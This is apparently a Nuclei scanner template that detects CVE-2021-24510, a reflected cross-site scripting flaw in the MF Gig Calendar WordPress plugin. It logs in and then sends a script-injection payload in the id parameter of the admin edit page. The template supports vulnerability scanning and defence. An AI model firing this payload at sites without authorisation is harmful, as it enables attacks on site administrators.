id: CVE-2021-24510

info:
  name: MF Gig Calendar <= 1.1 - Reflected Cross-Site Scripting (XSS)
  author: dhiyaneshDK
  severity: medium
  description: The MF Gig Calendar WordPress plugin through 1.1 does not sanitise or escape the id GET parameter before outputting back in the admin dashboard when editing an Event, leading to a reflected Cross-Site Scripting issue
  reference:
    - https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24510
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24510
    cwe-id: CWE-79
  tags: wp-plugin,authenticated,wpscan,wordpress,cve,cve2021

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="></script><script>alert(document.domain)</script><" HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "text/html"